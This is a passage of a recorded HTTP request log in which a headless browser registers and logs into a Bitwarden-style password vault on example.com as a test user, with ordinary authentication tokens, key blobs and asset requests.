rFl0luxA4U6qNdbwOgBDSG8FiQhm38YwYqYhpaQJCDuIlHpRPDsHEke5THn3m8dAWZullCUfLs1BZ9Uj53CvLTLMiq1m2PGgyyGJyInLqP8HYg6joclMUsw08dZ2w03mbZ7eD9AAUukVArgc9cU4anuUaYU0InAJUXtgwxBb1HpQPl4WyzOpS6Vjyf7Ad+/V+lEf2cFa/SMftecrM1hlfLplCrKf2duiHNxFcHpqPTyVxfWkRA1JKrwpgLMxaX3mZl+xJW1Enm8QdZrlaPiFp/kTz+yax6zlqW2D/pQIlXfAM+FiMk+mbnJy0aOvzrrVwh12Xp3P+i1dNdY9KVE7QPXeWY6fbE3D2N3urysGBFEPFm2fjiDugCQzeFMQot/fTM4pYUt/uweJk4tqZXSoUJacevlj9r+TaG+9muquBY1fRwnOhNTyzpvvAho=|m8ws2b/cbAkEWrMxbKR5xIREcugapKPPDf2M6B2MB7c=\"},\"masterPasswordAuthentication\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\"},\"masterPasswordUnlock\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2.o8g9//HWC2ef7L5bpOXplA==|y1EuzEa3rtAfNF2rXqcOFPozQSCjpYE2OavEdylFlgm7n+RPxb9H1DmXCMMTINlHZEPZYvUqMowb66fVAEcfgW5pRUURoOCbLGgsIus5tSY=|tz6s/bE6Vx7Kp2KgnknKSOt7CAb4SmdOpdii9S0j9ls=\"},\"emailVerificationToken\":\"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0MzcsImV4cCI6MTc5NDI4MjIzNywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxyZWdpc3Rlcl92ZXJpZnkiLCJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsIm5hbWUiOiJBbGljZSBweXRob24zIiwidmVyaWZpZWQiOmZhbHNlfQ.e5Rr4SWO_KIg_xkVTSoTeuQRfU4TZOK0F_u-7P_VeDVWXvZOsmu_g43wbu03ohAK9lhHifduuocpFlIlqtbnSEWEeg-kbsRNxZRDpGYsLWVO6-gQhJuzu-XQua6oPdq6V9ibyYcRgmDMVodOnfQ0pWx0TRKTOzqWKUNWmNHkkLRtOGiK87Ids1K8KGYpiosPyfJfeepNn5uwbtCj0JnrauvskCAIFotSAPKOcgciL_Za5JggoDQ-UpwyXUAP5bs26cRhe4mXLyQUCSH38koyWAxDz53FSq3_8Xq63AZJKN0ox_n6flWJiJSP5eHktIVBub3Ifs3B4nULgU9aU49VvQ\"}"}
|
||||
{"method": "POST", "target": "/identity/accounts/prelogin/password", "headers": ["Host: example.com", "Content-Length: 29", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\"}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=8e633b72-6e86-4a9f-90b1-5ca04f7739a8&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "GET", "target": "/api/sync?excludeDomains=true", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/notifications/hub?access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-Websocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Sec-Websocket-Key: gn2i7t3LFmj+47dvLQHEcA==", "Sec-Websocket-Extensions: permessage-deflate; client_max_window_bits"], "body": ""}
|
||||
{"method": "GET", "target": "/api/accounts/revision-date", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/api/accounts/key-management/user-key-id", "headers": ["Host: example.com", "Content-Length: 48", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"userKeyId\":\"549cd3b87c242101679813f95c7c6cac\"}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5Njg3MjQ0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiRmc4bEduelpqTWdzZTdlT19CYUhnaTB5M2pOT1AwbWdPZlRRU2E1cjA0LXZnSUpOSFM3Rkg3ejhUaG1JLUdlaUt4MjVKQmJjc08xOWt3cmdJRVU5aHc9PSIsInRva2VuIjpudWxsfQ.MDicbm7tvVt6vJFZMAXnPTSzOg6_YWqg5I-jNgrlxUSvW4q419bqz4Am10daTOcDqqgyQHogMRhm1sHM62bdiz4KeyH-vnYtm2KaS3XUCHkOlQZf8cayfcWM8P9ykesfaUJPEuD1whKRlrqyL49eBMicVyTv4uuITr-WZhkF_owQTduKxCefE34Km79geY_HkK3t-dwdCuVH4jdPyQBSKhm7NJdHj54_LlXrfuFxuLF9aoUDsx3cCPOycyD9nT8Vtilj9r1r8mm9xl70qWE3307MYWYx-AZZ5Nq5CksZBo4yYutfrFHS3KOkZJk239wBYVRNtABPGLv738u9pRvbUg"}
|
||||
{"method": "GET", "target": "/api/accounts/profile", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/videos/new-login-item.mp4", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: video", "Referer: https://example.com/", "Accept-Encoding: identity", "Range: bytes=0-", "Priority: i"], "body": ""}
|
||||
{"method": "GET", "target": "/videos/browser-extension-easy-access.mp4", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: video", "Referer: https://example.com/", "Accept-Encoding: identity", "Range: bytes=0-", "Priority: i"], "body": ""}
|
||||
{"method": "GET", "target": "/videos/onboarding-autofill.mp4", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: video", "Referer: https://example.com/", "Accept-Encoding: identity", "Range: bytes=0-", "Priority: i"], "body": ""}
|
||||
{"method": "GET", "target": "/api/devices/knowndevice", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: c3a5818e-de33-4cf1-9f7e-345fd32871e4", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "X-Request-Email: YWxpY2VAZXhhbXBsZS5jb20", "Sec-Ch-Ua-Mobile: ?0", "X-Device-Identifier: c3a5818e-de33-4cf1-9f7e-345fd32871e4", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=c3a5818e-de33-4cf1-9f7e-345fd32871e4&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=a03db5f2-c0bc-4d6b-a5b3-49b51437a2cd&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||
{"method": "GET", "target": "/api/auth-requests/pending", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA1NTYsImV4cCI6MTc5NDI4Nzc1NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJhMDNkYjVmMi1jMGJjLTRkNmItYTViMy00OWI1MTQzN2EyY2QiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Y9zoVlxbR1bUz9R2x_mTA0Rdckt9wgf79Ks_LmH48qnVO3-oUtwf4sUXrGNNDW5H9OJD570OMTvVJnnqV5O_i60XmFnT5lDSc9mQQavcVAvvUhKYo6JIJpD2iJX3FNTekSIf5cyrDh4UTRs4M_DvseywaH7Wf_sBMchpI-SvLDkX45WkJPTvGtE141cJBA0lhYEC1OqzXCm9oAUtnpzm24UqIiFmULnmgPMgCaqy0z5_q5HjwV7KJCx68mj-epHTxVEmW0OdokF_AwNBEX28PYvCPkqXQC0efV8WQqyccxHyhklQ0fzE0iPQepL8uWc04AqI-xGy8yQz4ELTtpFcpA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/images/welcome-dialog-graphic.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
|
||||
